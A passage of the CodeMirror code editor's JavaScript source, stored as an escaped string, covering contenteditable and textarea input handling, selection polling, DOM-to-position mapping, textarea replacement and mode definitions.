sel.removeAllRanges();\n        sel.addRange(rng);\n      }\n    } else {\n      sel.removeAllRanges();\n      sel.addRange(rng);\n    }\n    if (old && sel.anchorNode == null) { sel.addRange(old); }\n    else if (gecko) { this.startGracePeriod(); }\n  }\n  this.rememberSelection();\n};\n\nContentEditableInput.prototype.startGracePeriod = function () {\n    var this$1 = this;\n\n  clearTimeout(this.gracePeriod);\n  this.gracePeriod = setTimeout(function () {\n    this$1.gracePeriod = false;\n    if (this$1.selectionChanged())\n      { this$1.cm.operation(function () { return this$1.cm.curOp.selectionChanged = true; }); }\n  }, 20);\n};\n\nContentEditableInput.prototype.showMultipleSelections = function (info) {\n  removeChildrenAndAdd(this.cm.display.cursorDiv, info.cursors);\n  removeChildrenAndAdd(this.cm.display.selectionDiv, info.selection);\n};\n\nContentEditableInput.prototype.rememberSelection = function () {\n  var sel = window.getSelection();\n  this.lastAnchorNode = sel.anchorNode; this.lastAnchorOffset = sel.anchorOffset;\n  this.lastFocusNode = sel.focusNode; this.lastFocusOffset = sel.focusOffset;\n};\n\nContentEditableInput.prototype.selectionInEditor = function () {\n  var sel = window.getSelection();\n  if (!sel.rangeCount) { return false }\n  var node = sel.getRangeAt(0).commonAncestorContainer;\n  return contains(this.div, node)\n};\n\nContentEditableInput.prototype.focus = function () {\n  if (this.cm.options.readOnly != \"nocursor\") {\n    if (!this.selectionInEditor())\n      { this.showSelection(this.prepareSelection(), true); }\n    this.div.focus();\n  }\n};\nContentEditableInput.prototype.blur = function () { this.div.blur(); };\nContentEditableInput.prototype.getField = function () { return this.div };\n\nContentEditableInput.prototype.supportsTouch = function () { return true };\n\nContentEditableInput.prototype.receivedFocus = function () {\n  var input = this;\n  if (this.selectionInEditor())\n    { this.pollSelection(); }\n  else\n    { runInOp(this.cm, function () { return input.cm.curOp.selectionChanged = true; }); }\n\n  function poll() {\n    if (input.cm.state.focused) {\n      input.pollSelection();\n      input.polling.set(input.cm.options.pollInterval, poll);\n    }\n  }\n  this.polling.set(this.cm.options.pollInterval, poll);\n};\n\nContentEditableInput.prototype.selectionChanged = function () {\n  var sel = window.getSelection();\n  return sel.anchorNode != this.lastAnchorNode || sel.anchorOffset != this.lastAnchorOffset ||\n    sel.focusNode != this.lastFocusNode || sel.focusOffset != this.lastFocusOffset\n};\n\nContentEditableInput.prototype.pollSelection = function () {\n  if (this.readDOMTimeout != null || this.gracePeriod || !this.selectionChanged()) { return }\n  var sel = window.getSelection(), cm = this.cm;\n  // On Android Chrome (version 56, at least), backspacing into an\n  // uneditable block element will put the cursor in that element,\n  // and then, because it's not editable, hide the virtual keyboard.\n  // Because Android doesn't allow us to actually detect backspace\n  // presses in a sane way, this code checks for when that happens\n  // and simulates a backspace press in this case.\n  if (android && chrome && this.cm.options.gutters.length && isInGutter(sel.anchorNode)) {\n    this.cm.triggerOnKeyDown({type: \"keydown\", keyCode: 8, preventDefault: Math.abs});\n    this.blur();\n    this.focus();\n    return\n  }\n  if (this.composing) { return }\n  this.rememberSelection();\n  var anchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);\n  var head = domToPos(cm, sel.focusNode, sel.focusOffset);\n  if (anchor && head) { runInOp(cm, function () {\n    setSelection(cm.doc, simpleSelection(anchor, head), sel_dontScroll);\n    if (anchor.bad || head.bad) { cm.curOp.selectionChanged = true; }\n  }); }\n};\n\nContentEditableInput.prototype.pollContent = function () {\n  if (this.readDOMTimeout != null) {\n    clearTimeout(this.readDOMTimeout);\n    this.readDOMTimeout = null;\n  }\n\n  var cm = this.cm, display = cm.display, sel = cm.doc.sel.primary();\n  var from = sel.from(), to = sel.to();\n  if (from.ch == 0 && from.line > cm.firstLine())\n    { from = Pos(from.line - 1, getLine(cm.doc, from.line - 1).length); }\n  if (to.ch == getLine(cm.doc, to.line).text.length && to.line < cm.lastLine())\n    { to = Pos(to.line + 1, 0); }\n  if (from.line < display.viewFrom || to.line > display.viewTo - 1) { return false }\n\n  var fromIndex, fromLine, fromNode;\n  if (from.line == display.viewFrom || (fromIndex = findViewIndex(cm, from.line)) == 0) {\n    fromLine = lineNo(display.view[0].line);\n    fromNode = display.view[0].node;\n  } else {\n    fromLine = lineNo(display.view[fromIndex].line);\n    fromNode = display.view[fromIndex - 1].node.nextSibling;\n  }\n  var toIndex = findViewIndex(cm, to.line);\n  var toLine, toNode;\n  if (toIndex == display.view.length - 1) {\n    toLine = display.viewTo - 1;\n    toNode = display.lineDiv.lastChild;\n  } else {\n    toLine = lineNo(display.view[toIndex + 1].line) - 1;\n    toNode = display.view[toIndex + 1].node.previousSibling;\n  }\n\n  if (!fromNode) { return false }\n  var newText = cm.doc.splitLines(domTextBetween(cm, fromNode, toNode, fromLine, toLine));\n  var oldText = getBetween(cm.doc, Pos(fromLine, 0), Pos(toLine, getLine(cm.doc, toLine).text.length));\n  while (newText.length > 1 && oldText.length > 1) {\n    if (lst(newText) == lst(oldText)) { newText.pop(); oldText.pop(); toLine--; }\n    else if (newText[0] == oldText[0]) { newText.shift(); oldText.shift(); fromLine++; }\n    else { break }\n  }\n\n  var cutFront = 0, cutEnd = 0;\n  var newTop = newText[0], oldTop = oldText[0], maxCutFront = Math.min(newTop.length, oldTop.length);\n  while (cutFront < maxCutFront && newTop.charCodeAt(cutFront) == oldTop.charCodeAt(cutFront))\n    { ++cutFront; }\n  var newBot = lst(newText), oldBot = lst(oldText);\n  var maxCutEnd = Math.min(newBot.length - (newText.length == 1 ? cutFront : 0),\n                           oldBot.length - (oldText.length == 1 ? cutFront : 0));\n  while (cutEnd < maxCutEnd &&\n         newBot.charCodeAt(newBot.length - cutEnd - 1) == oldBot.charCodeAt(oldBot.length - cutEnd - 1))\n    { ++cutEnd; }\n  // Try to move start of change to start of selection if ambiguous\n  if (newText.length == 1 && oldText.length == 1 && fromLine == from.line) {\n    while (cutFront && cutFront > from.ch &&\n           newBot.charCodeAt(newBot.length - cutEnd - 1) == oldBot.charCodeAt(oldBot.length - cutEnd - 1)) {\n      cutFront--;\n      cutEnd++;\n    }\n  }\n\n  newText[newText.length - 1] = newBot.slice(0, newBot.length - cutEnd).replace(/^\\u200b+/, \"\");\n  newText[0] = newText[0].slice(cutFront).replace(/\\u200b+$/, \"\");\n\n  var chFrom = Pos(fromLine, cutFront);\n  var chTo = Pos(toLine, oldText.length ? lst(oldText).length - cutEnd : 0);\n  if (newText.length > 1 || newText[0] || cmp(chFrom, chTo)) {\n    replaceRange(cm.doc, newText, chFrom, chTo, \"+input\");\n    return true\n  }\n};\n\nContentEditableInput.prototype.ensurePolled = function () {\n  this.forceCompositionEnd();\n};\nContentEditableInput.prototype.reset = function () {\n  this.forceCompositionEnd();\n};\nContentEditableInput.prototype.forceCompositionEnd = function () {\n  if (!this.composing) { return }\n  clearTimeout(this.readDOMTimeout);\n  this.composing = null;\n  this.updateFromDOM();\n  this.div.blur();\n  this.div.focus();\n};\nContentEditableInput.prototype.readFromDOMSoon = function () {\n    var this$1 = this;\n\n  if (this.readDOMTimeout != null) { return }\n  this.readDOMTimeout = setTimeout(function () {\n    this$1.readDOMTimeout = null;\n    if (this$1.composing) {\n      if (this$1.composing.done) { this$1.composing = null; }\n      else { return }\n    }\n    this$1.updateFromDOM();\n  }, 80);\n};\n\nContentEditableInput.prototype.updateFromDOM = function () {\n    var this$1 = this;\n\n  if (this.cm.isReadOnly() || !this.pollContent())\n    { runInOp(this.cm, function () { return regChange(this$1.cm); }); }\n};\n\nContentEditableInput.prototype.setUneditable = function (node) {\n  node.contentEditable = \"false\";\n};\n\nContentEditableInput.prototype.onKeyPress = function (e) {\n  if (e.charCode == 0) { return }\n  e.preventDefault();\n  if (!this.cm.isReadOnly())\n    { operation(this.cm, applyTextInput)(this.cm, String.fromCharCode(e.charCode == null ? e.keyCode : e.charCode), 0); }\n};\n\nContentEditableInput.prototype.readOnlyChanged = function (val) {\n  this.div.contentEditable = String(val != \"nocursor\");\n};\n\nContentEditableInput.prototype.onContextMenu = function () {};\nContentEditableInput.prototype.resetPosition = function () {};\n\nContentEditableInput.prototype.needsContentAttribute = true;\n\nfunction posToDOM(cm, pos) {\n  var view = findViewForLine(cm, pos.line);\n  if (!view || view.hidden) { return null }\n  var line = getLine(cm.doc, pos.line);\n  var info = mapFromLineView(view, line, pos.line);\n\n  var order = getOrder(line, cm.doc.direction), side = \"left\";\n  if (order) {\n    var partPos = getBidiPartAt(order, pos.ch);\n    side = partPos % 2 ? \"right\" : \"left\";\n  }\n  var result = nodeAndOffsetInLineMap(info.map, pos.ch, side);\n  result.offset = result.collapse == \"right\" ? result.end : result.start;\n  return result\n}\n\nfunction isInGutter(node) {\n  for (var scan = node; scan; scan = scan.parentNode)\n    { if (/CodeMirror-gutter-wrapper/.test(scan.className)) { return true } }\n  return false\n}\n\nfunction badPos(pos, bad) { if (bad) { pos.bad = true; } return pos }\n\nfunction domTextBetween(cm, from, to, fromLine, toLine) {\n  var text = \"\", closing = false, lineSep = cm.doc.lineSeparator();\n  function recognizeMarker(id) { return function (marker) { return marker.id == id; } }\n  function close() {\n    if (closing) {\n      text += lineSep;\n      closing = false;\n    }\n  }\n  function addText(str) {\n    if (str) {\n      close();\n      text += str;\n    }\n  }\n  function walk(node) {\n    if (node.nodeType == 1) {\n      var cmText = node.getAttribute(\"cm-text\");\n      if (cmText != null) {\n        addText(cmText || node.textContent.replace(/\\u200b/g, \"\"));\n        return\n      }\n      var markerID = node.getAttribute(\"cm-marker\"), range$$1;\n      if (markerID) {\n        var found = cm.findMarks(Pos(fromLine, 0), Pos(toLine + 1, 0), recognizeMarker(+markerID));\n        if (found.length && (range$$1 = found[0].find()))\n          { addText(getBetween(cm.doc, range$$1.from, range$$1.to).join(lineSep)); }\n        return\n      }\n      if (node.getAttribute(\"contenteditable\") == \"false\") { return }\n      var isBlock = /^(pre|div|p)$/i.test(node.nodeName);\n      if (isBlock) { close(); }\n      for (var i = 0; i < node.childNodes.length; i++)\n        { walk(node.childNodes[i]); }\n      if (isBlock) { closing = true; }\n    } else if (node.nodeType == 3) {\n      addText(node.nodeValue);\n    }\n  }\n  for (;;) {\n    walk(from);\n    if (from == to) { break }\n    from = from.nextSibling;\n  }\n  return text\n}\n\nfunction domToPos(cm, node, offset) {\n  var lineNode;\n  if (node == cm.display.lineDiv) {\n    lineNode = cm.display.lineDiv.childNodes[offset];\n    if (!lineNode) { return badPos(cm.clipPos(Pos(cm.display.viewTo - 1)), true) }\n    node = null; offset = 0;\n  } else {\n    for (lineNode = node;; lineNode = lineNode.parentNode) {\n      if (!lineNode || lineNode == cm.display.lineDiv) { return null }\n      if (lineNode.parentNode && lineNode.parentNode == cm.display.lineDiv) { break }\n    }\n  }\n  for (var i = 0; i < cm.display.view.length; i++) {\n    var lineView = cm.display.view[i];\n    if (lineView.node == lineNode)\n      { return locateNodeInLineView(lineView, node, offset) }\n  }\n}\n\nfunction locateNodeInLineView(lineView, node, offset) {\n  var wrapper = lineView.text.firstChild, bad = false;\n  if (!node || !contains(wrapper, node)) { return badPos(Pos(lineNo(lineView.line), 0), true) }\n  if (node == wrapper) {\n    bad = true;\n    node = wrapper.childNodes[offset];\n    offset = 0;\n    if (!node) {\n      var line = lineView.rest ? lst(lineView.rest) : lineView.line;\n      return badPos(Pos(lineNo(line), line.text.length), bad)\n    }\n  }\n\n  var textNode = node.nodeType == 3 ? node : null, topNode = node;\n  if (!textNode && node.childNodes.length == 1 && node.firstChild.nodeType == 3) {\n    textNode = node.firstChild;\n    if (offset) { offset = textNode.nodeValue.length; }\n  }\n  while (topNode.parentNode != wrapper) { topNode = topNode.parentNode; }\n  var measure = lineView.measure, maps = measure.maps;\n\n  function find(textNode, topNode, offset) {\n    for (var i = -1; i < (maps ? maps.length : 0); i++) {\n      var map$$1 = i < 0 ? measure.map : maps[i];\n      for (var j = 0; j < map$$1.length; j += 3) {\n        var curNode = map$$1[j + 2];\n        if (curNode == textNode || curNode == topNode) {\n          var line = lineNo(i < 0 ? lineView.line : lineView.rest[i]);\n          var ch = map$$1[j] + offset;\n          if (offset < 0 || curNode != textNode) { ch = map$$1[j + (offset ? 1 : 0)]; }\n          return Pos(line, ch)\n        }\n      }\n    }\n  }\n  var found = find(textNode, topNode, offset);\n  if (found) { return badPos(found, bad) }\n\n  // FIXME this is all really shaky. might handle the few cases it needs to handle, but likely to cause problems\n  for (var after = topNode.nextSibling, dist = textNode ? textNode.nodeValue.length - offset : 0; after; after = after.nextSibling) {\n    found = find(after, after.firstChild, 0);\n    if (found)\n      { return badPos(Pos(found.line, found.ch - dist), bad) }\n    else\n      { dist += after.textContent.length; }\n  }\n  for (var before = topNode.previousSibling, dist$1 = offset; before; before = before.previousSibling) {\n    found = find(before, before.firstChild, -1);\n    if (found)\n      { return badPos(Pos(found.line, found.ch + dist$1), bad) }\n    else\n      { dist$1 += before.textContent.length; }\n  }\n}\n\n// TEXTAREA INPUT STYLE\n\nvar TextareaInput = function(cm) {\n  this.cm = cm;\n  // See input.poll and input.reset\n  this.prevInput = \"\";\n\n  // Flag that indicates whether we expect input to appear real soon\n  // now (after some event like 'keypress' or 'input') and are\n  // polling intensively.\n  this.pollingFast = false;\n  // Self-resetting timeout for the poller\n  this.polling = new Delayed();\n  // Tracks when input.reset has punted to just putting a short\n  // string into the textarea instead of the full selection.\n  this.inaccurateSelection = false;\n  // Used to work around IE issue with selection being forgotten when focus moves away from textarea\n  this.hasSelection = false;\n  this.composing = null;\n};\n\nTextareaInput.prototype.init = function (display) {\n    var this$1 = this;\n\n  var input = this, cm = this.cm;\n\n  // Wraps and hides input textarea\n  var div = this.wrapper = hiddenTextarea();\n  // The semihidden textarea that is focused when the editor is\n  // focused, and receives input.\n  var te = this.textarea = div.firstChild;\n  display.wrapper.insertBefore(div, display.wrapper.firstChild);\n\n  // Needed to hide big blue blinking cursor on Mobile Safari (doesn't seem to work in iOS 8 anymore)\n  if (ios) { te.style.width = \"0px\"; }\n\n  on(te, \"input\", function () {\n    if (ie && ie_version >= 9 && this$1.hasSelection) { this$1.hasSelection = null; }\n    input.poll();\n  });\n\n  on(te, \"paste\", function (e) {\n    if (signalDOMEvent(cm, e) || handlePaste(e, cm)) { return }\n\n    cm.state.pasteIncoming = true;\n    input.fastPoll();\n  });\n\n  function prepareCopyCut(e) {\n    if (signalDOMEvent(cm, e)) { return }\n    if (cm.somethingSelected()) {\n      setLastCopied({lineWise: false, text: cm.getSelections()});\n      if (input.inaccurateSelection) {\n        input.prevInput = \"\";\n        input.inaccurateSelection = false;\n        te.value = lastCopied.text.join(\"\\n\");\n        selectInput(te);\n      }\n    } else if (!cm.options.lineWiseCopyCut) {\n      return\n    } else {\n      var ranges = copyableRanges(cm);\n      setLastCopied({lineWise: true, text: ranges.text});\n      if (e.type == \"cut\") {\n        cm.setSelections(ranges.ranges, null, sel_dontScroll);\n      } else {\n        input.prevInput = \"\";\n        te.value = ranges.text.join(\"\\n\");\n        selectInput(te);\n      }\n    }\n    if (e.type == \"cut\") { cm.state.cutIncoming = true; }\n  }\n  on(te, \"cut\", prepareCopyCut);\n  on(te, \"copy\", prepareCopyCut);\n\n  on(display.scroller, \"paste\", function (e) {\n    if (eventInWidget(display, e) || signalDOMEvent(cm, e)) { return }\n    cm.state.pasteIncoming = true;\n    input.focus();\n  });\n\n  // Prevent normal selection in the editor (we handle our own)\n  on(display.lineSpace, \"selectstart\", function (e) {\n    if (!eventInWidget(display, e)) { e_preventDefault(e); }\n  });\n\n  on(te, \"compositionstart\", function () {\n    var start = cm.getCursor(\"from\");\n    if (input.composing) { input.composing.range.clear(); }\n    input.composing = {\n      start: start,\n      range: cm.markText(start, cm.getCursor(\"to\"), {className: \"CodeMirror-composing\"})\n    };\n  });\n  on(te, \"compositionend\", function () {\n    if (input.composing) {\n      input.poll();\n      input.composing.range.clear();\n      input.composing = null;\n    }\n  });\n};\n\nTextareaInput.prototype.prepareSelection = function () {\n  // Redraw the selection and/or cursor\n  var cm = this.cm, display = cm.display, doc = cm.doc;\n  var result = prepareSelection(cm);\n\n  // Move the hidden textarea near the cursor to prevent scrolling artifacts\n  if (cm.options.moveInputWithCursor) {\n    var headPos = cursorCoords(cm, doc.sel.primary().head, \"div\");\n    var wrapOff = display.wrapper.getBoundingClientRect(), lineOff = display.lineDiv.getBoundingClientRect();\n    result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight - 10,\n                                        headPos.top + lineOff.top - wrapOff.top));\n    result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth - 10,\n                                         headPos.left + lineOff.left - wrapOff.left));\n  }\n\n  return result\n};\n\nTextareaInput.prototype.showSelection = function (drawn) {\n  var cm = this.cm, display = cm.display;\n  removeChildrenAndAdd(display.cursorDiv, drawn.cursors);\n  removeChildrenAndAdd(display.selectionDiv, drawn.selection);\n  if (drawn.teTop != null) {\n    this.wrapper.style.top = drawn.teTop + \"px\";\n    this.wrapper.style.left = drawn.teLeft + \"px\";\n  }\n};\n\n// Reset the input to correspond to the selection (or to be empty,\n// when not typing and nothing is selected)\nTextareaInput.prototype.reset = function (typing) {\n  if (this.contextMenuPending || this.composing) { return }\n  var minimal, selected, cm = this.cm, doc = cm.doc;\n  if (cm.somethingSelected()) {\n    this.prevInput = \"\";\n    var range$$1 = doc.sel.primary();\n    minimal = hasCopyEvent &&\n      (range$$1.to().line - range$$1.from().line > 100 || (selected = cm.getSelection()).length > 1000);\n    var content = minimal ? \"-\" : selected || cm.getSelection();\n    this.textarea.value = content;\n    if (cm.state.focused) { selectInput(this.textarea); }\n    if (ie && ie_version >= 9) { this.hasSelection = content; }\n  } else if (!typing) {\n    this.prevInput = this.textarea.value = \"\";\n    if (ie && ie_version >= 9) { this.hasSelection = null; }\n  }\n  this.inaccurateSelection = minimal;\n};\n\nTextareaInput.prototype.getField = function () { return this.textarea };\n\nTextareaInput.prototype.supportsTouch = function () { return false };\n\nTextareaInput.prototype.focus = function () {\n  if (this.cm.options.readOnly != \"nocursor\" && (!mobile || activeElt() != this.textarea)) {\n    try { this.textarea.focus(); }\n    catch (e) {} // IE8 will throw if the textarea is display: none or not in DOM\n  }\n};\n\nTextareaInput.prototype.blur = function () { this.textarea.blur(); };\n\nTextareaInput.prototype.resetPosition = function () {\n  this.wrapper.style.top = this.wrapper.style.left = 0;\n};\n\nTextareaInput.prototype.receivedFocus = function () { this.slowPoll(); };\n\n// Poll for input changes, using the normal rate of polling. This\n// runs as long as the editor is focused.\nTextareaInput.prototype.slowPoll = function () {\n    var this$1 = this;\n\n  if (this.pollingFast) { return }\n  this.polling.set(this.cm.options.pollInterval, function () {\n    this$1.poll();\n    if (this$1.cm.state.focused) { this$1.slowPoll(); }\n  });\n};\n\n// When an event has just come in that is likely to add or change\n// something in the input textarea, we poll faster, to ensure that\n// the change appears on the screen quickly.\nTextareaInput.prototype.fastPoll = function () {\n  var missed = false, input = this;\n  input.pollingFast = true;\n  function p() {\n    var changed = input.poll();\n    if (!changed && !missed) {missed = true; input.polling.set(60, p);}\n    else {input.pollingFast = false; input.slowPoll();}\n  }\n  input.polling.set(20, p);\n};\n\n// Read input from the textarea, and update the document to match.\n// When something is selected, it is present in the textarea, and\n// selected (unless it is huge, in which case a placeholder is\n// used). When nothing is selected, the cursor sits after previously\n// seen text (can be empty), which is stored in prevInput (we must\n// not reset the textarea when typing, because that breaks IME).\nTextareaInput.prototype.poll = function () {\n    var this$1 = this;\n\n  var cm = this.cm, input = this.textarea, prevInput = this.prevInput;\n  // Since this is called a *lot*, try to bail out as cheaply as\n  // possible when it is clear that nothing happened. hasSelection\n  // will be the case when there is a lot of text in the textarea,\n  // in which case reading its value would be expensive.\n  if (this.contextMenuPending || !cm.state.focused ||\n      (hasSelection(input) && !prevInput && !this.composing) ||\n      cm.isReadOnly() || cm.options.disableInput || cm.state.keySeq)\n    { return false }\n\n  var text = input.value;\n  // If nothing changed, bail.\n  if (text == prevInput && !cm.somethingSelected()) { return false }\n  // Work around nonsensical selection resetting in IE9/10, and\n  // inexplicable appearance of private area unicode characters on\n  // some key combos in Mac (#2689).\n  if (ie && ie_version >= 9 && this.hasSelection === text ||\n      mac && /[\\uf700-\\uf7ff]/.test(text)) {\n    cm.display.input.reset();\n    return false\n  }\n\n  if (cm.doc.sel == cm.display.selForContextMenu) {\n    var first = text.charCodeAt(0);\n    if (first == 0x200b && !prevInput) { prevInput = \"\\u200b\"; }\n    if (first == 0x21da) { this.reset(); return this.cm.execCommand(\"undo\") }\n  }\n  // Find the part of the input that is actually new\n  var same = 0, l = Math.min(prevInput.length, text.length);\n  while (same < l && prevInput.charCodeAt(same) == text.charCodeAt(same)) { ++same; }\n\n  runInOp(cm, function () {\n    applyTextInput(cm, text.slice(same), prevInput.length - same,\n                   null, this$1.composing ? \"*compose\" : null);\n\n    // Don't leave long text in the textarea, since it makes further polling slow\n    if (text.length > 1000 || text.indexOf(\"\\n\") > -1) { input.value = this$1.prevInput = \"\"; }\n    else { this$1.prevInput = text; }\n\n    if (this$1.composing) {\n      this$1.composing.range.clear();\n      this$1.composing.range = cm.markText(this$1.composing.start, cm.getCursor(\"to\"),\n                                         {className: \"CodeMirror-composing\"});\n    }\n  });\n  return true\n};\n\nTextareaInput.prototype.ensurePolled = function () {\n  if (this.pollingFast && this.poll()) { this.pollingFast = false; }\n};\n\nTextareaInput.prototype.onKeyPress = function () {\n  if (ie && ie_version >= 9) { this.hasSelection = null; }\n  this.fastPoll();\n};\n\nTextareaInput.prototype.onContextMenu = function (e) {\n  var input = this, cm = input.cm, display = cm.display, te = input.textarea;\n  var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop;\n  if (!pos || presto) { return } // Opera is difficult.\n\n  // Reset the current text selection only if the click is done outside of the selection\n  // and 'resetSelectionOnContextMenu' option is true.\n  var reset = cm.options.resetSelectionOnContextMenu;\n  if (reset && cm.doc.sel.contains(pos) == -1)\n    { operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll); }\n\n  var oldCSS = te.style.cssText, oldWrapperCSS = input.wrapper.style.cssText;\n  input.wrapper.style.cssText = \"position: absolute\";\n  var wrapperBox = input.wrapper.getBoundingClientRect();\n  te.style.cssText = \"position: absolute; width: 30px; height: 30px;\\n      top: \" + (e.clientY - wrapperBox.top - 5) + \"px; left: \" + (e.clientX - wrapperBox.left - 5) + \"px;\\n      z-index: 1000; background: \" + (ie ? \"rgba(255, 255, 255, .05)\" : \"transparent\") + \";\\n      outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);\";\n  var oldScrollY;\n  if (webkit) { oldScrollY = window.scrollY; } // Work around Chrome issue (#2712)\n  display.input.focus();\n  if (webkit) { window.scrollTo(null, oldScrollY); }\n  display.input.reset();\n  // Adds \"Select all\" to context menu in FF\n  if (!cm.somethingSelected()) { te.value = input.prevInput = \" \"; }\n  input.contextMenuPending = true;\n  display.selForContextMenu = cm.doc.sel;\n  clearTimeout(display.detectingSelectAll);\n\n  // Select-all will be greyed out if there's nothing to select, so\n  // this adds a zero-width space so that we can later check whether\n  // it got selected.\n  function prepareSelectAllHack() {\n    if (te.selectionStart != null) {\n      var selected = cm.somethingSelected();\n      var extval = \"\\u200b\" + (selected ? te.value : \"\");\n      te.value = \"\\u21da\"; // Used to catch context-menu undo\n      te.value = extval;\n      input.prevInput = selected ? \"\" : \"\\u200b\";\n      te.selectionStart = 1; te.selectionEnd = extval.length;\n      // Re-set this, in case some other handler touched the\n      // selection in the meantime.\n      display.selForContextMenu = cm.doc.sel;\n    }\n  }\n  function rehide() {\n    input.contextMenuPending = false;\n    input.wrapper.style.cssText = oldWrapperCSS;\n    te.style.cssText = oldCSS;\n    if (ie && ie_version < 9) { display.scrollbars.setScrollTop(display.scroller.scrollTop = scrollPos); }\n\n    // Try to detect the user choosing select-all\n    if (te.selectionStart != null) {\n      if (!ie || (ie && ie_version < 9)) { prepareSelectAllHack(); }\n      var i = 0, poll = function () {\n        if (display.selForContextMenu == cm.doc.sel && te.selectionStart == 0 &&\n            te.selectionEnd > 0 && input.prevInput == \"\\u200b\") {\n          operation(cm, selectAll)(cm);\n        } else if (i++ < 10) {\n          display.detectingSelectAll = setTimeout(poll, 500);\n        } else {\n          display.selForContextMenu = null;\n          display.input.reset();\n        }\n      };\n      display.detectingSelectAll = setTimeout(poll, 200);\n    }\n  }\n\n  if (ie && ie_version >= 9) { prepareSelectAllHack(); }\n  if (captureRightClick) {\n    e_stop(e);\n    var mouseup = function () {\n      off(window, \"mouseup\", mouseup);\n      setTimeout(rehide, 20);\n    };\n    on(window, \"mouseup\", mouseup);\n  } else {\n    setTimeout(rehide, 50);\n  }\n};\n\nTextareaInput.prototype.readOnlyChanged = function (val) {\n  if (!val) { this.reset(); }\n  this.textarea.disabled = val == \"nocursor\";\n};\n\nTextareaInput.prototype.setUneditable = function () {};\n\nTextareaInput.prototype.needsContentAttribute = false;\n\nfunction fromTextArea(textarea, options) {\n  options = options ? copyObj(options) : {};\n  options.value = textarea.value;\n  if (!options.tabindex && textarea.tabIndex)\n    { options.tabindex = textarea.tabIndex; }\n  if (!options.placeholder && textarea.placeholder)\n    { options.placeholder = textarea.placeholder; }\n  // Set autofocus to true if this textarea is focused, or if it has\n  // autofocus and no other element is focused.\n  if (options.autofocus == null) {\n    var hasFocus = activeElt();\n    options.autofocus = hasFocus == textarea ||\n      textarea.getAttribute(\"autofocus\") != null && hasFocus == document.body;\n  }\n\n  function save() {textarea.value = cm.getValue();}\n\n  var realSubmit;\n  if (textarea.form) {\n    on(textarea.form, \"submit\", save);\n    // Deplorable hack to make the submit method do the right thing.\n    if (!options.leaveSubmitMethodAlone) {\n      var form = textarea.form;\n      realSubmit = form.submit;\n      try {\n        var wrappedSubmit = form.submit = function () {\n          save();\n          form.submit = realSubmit;\n          form.submit();\n          form.submit = wrappedSubmit;\n        };\n      } catch(e) {}\n    }\n  }\n\n  options.finishInit = function (cm) {\n    cm.save = save;\n    cm.getTextArea = function () { return textarea; };\n    cm.toTextArea = function () {\n      cm.toTextArea = isNaN; // Prevent this from being ran twice\n      save();\n      textarea.parentNode.removeChild(cm.getWrapperElement());\n      textarea.style.display = \"\";\n      if (textarea.form) {\n        off(textarea.form, \"submit\", save);\n        if (typeof textarea.form.submit == \"function\")\n          { textarea.form.submit = realSubmit; }\n      }\n    };\n  };\n\n  textarea.style.display = \"none\";\n  var cm = CodeMirror$1(function (node) { return textarea.parentNode.insertBefore(node, textarea.nextSibling); },\n    options);\n  return cm\n}\n\nfunction addLegacyProps(CodeMirror) {\n  CodeMirror.off = off;\n  CodeMirror.on = on;\n  CodeMirror.wheelEventPixels = wheelEventPixels;\n  CodeMirror.Doc = Doc;\n  CodeMirror.splitLines = splitLinesAuto;\n  CodeMirror.countColumn = countColumn;\n  CodeMirror.findColumn = findColumn;\n  CodeMirror.isWordChar = isWordCharBasic;\n  CodeMirror.Pass = Pass;\n  CodeMirror.signal = signal;\n  CodeMirror.Line = Line;\n  CodeMirror.changeEnd = changeEnd;\n  CodeMirror.scrollbarModel = scrollbarModel;\n  CodeMirror.Pos = Pos;\n  CodeMirror.cmpPos = cmp;\n  CodeMirror.modes = modes;\n  CodeMirror.mimeModes = mimeModes;\n  CodeMirror.resolveMode = resolveMode;\n  CodeMirror.getMode = getMode;\n  CodeMirror.modeExtensions = modeExtensions;\n  CodeMirror.extendMode = extendMode;\n  CodeMirror.copyState = copyState;\n  CodeMirror.startState = startState;\n  CodeMirror.innerMode = innerMode;\n  CodeMirror.commands = commands;\n  CodeMirror.keyMap = keyMap;\n  CodeMirror.keyName = keyName;\n  CodeMirror.isModifierKey = isModifierKey;\n  CodeMirror.lookupKey = lookupKey;\n  CodeMirror.normalizeKeyMap = normalizeKeyMap;\n  CodeMirror.StringStream = StringStream;\n  CodeMirror.SharedTextMarker = SharedTextMarker;\n  CodeMirror.TextMarker = TextMarker;\n  CodeMirror.LineWidget = LineWidget;\n  CodeMirror.e_preventDefault = e_preventDefault;\n  CodeMirror.e_stopPropagation = e_stopPropagation;\n  CodeMirror.e_stop = e_stop;\n  CodeMirror.addClass = addClass;\n  CodeMirror.contains = contains;\n  CodeMirror.rmClass = rmClass;\n  CodeMirror.keyNames = keyNames;\n}\n\n// EDITOR CONSTRUCTOR\n\ndefineOptions(CodeMirror$1);\n\naddEditorMethods(CodeMirror$1);\n\n// Set up methods on CodeMirror's prototype to redirect to the editor's document.\nvar dontDelegate = \"iter insert remove copy getEditor constructor\".split(\" \");\nfor (var prop in Doc.prototype) { if (Doc.prototype.hasOwnProperty(prop) && indexOf(dontDelegate, prop) < 0)\n  { CodeMirror$1.prototype[prop] = (function(method) {\n    return function() {return method.apply(this.doc, arguments)}\n  })(Doc.prototype[prop]); } }\n\neventMixin(Doc);\n\n// INPUT HANDLING\n\nCodeMirror$1.inputStyles = {\"textarea\": TextareaInput, \"contenteditable\": ContentEditableInput};\n\n// MODE DEFINITION AND QUERYING\n\n// Extra arguments are stored as the mode's dependencies, which is\n// used by (legacy) mechanisms like loadmode.js to automatically\n// load a mode. (Preferred mechanism is the require/define calls.)\nCodeMirror$1.defineMode = function(name/*, mode, …*/) {\n  if (!CodeMirror$1.defaults.mode && name != \"null\") { CodeMirror$1.defaults.mode = name; }\n  defineMode.apply(this, arguments);\n};\n\nCodeMirror$1.defineMIME = defineMIME;\n\n// Minimal default mode.\nCodeMirror$1.defineMode(\"null\", function () { return ({token: function (stream) { return stream.skipToEnd(); }}); });\nCodeMirror$1.defineMIME(\"text/plain\", \"null\");\n\n// EXTENSIONS\n\nCodeMirror$1.defineExtension = function (name, func) {\n  CodeMirror$1.prototype[name] = func;\n};\nCodeMirror$1.defineDocExtension = function (name, func) {\n  Doc.prototype[name] = 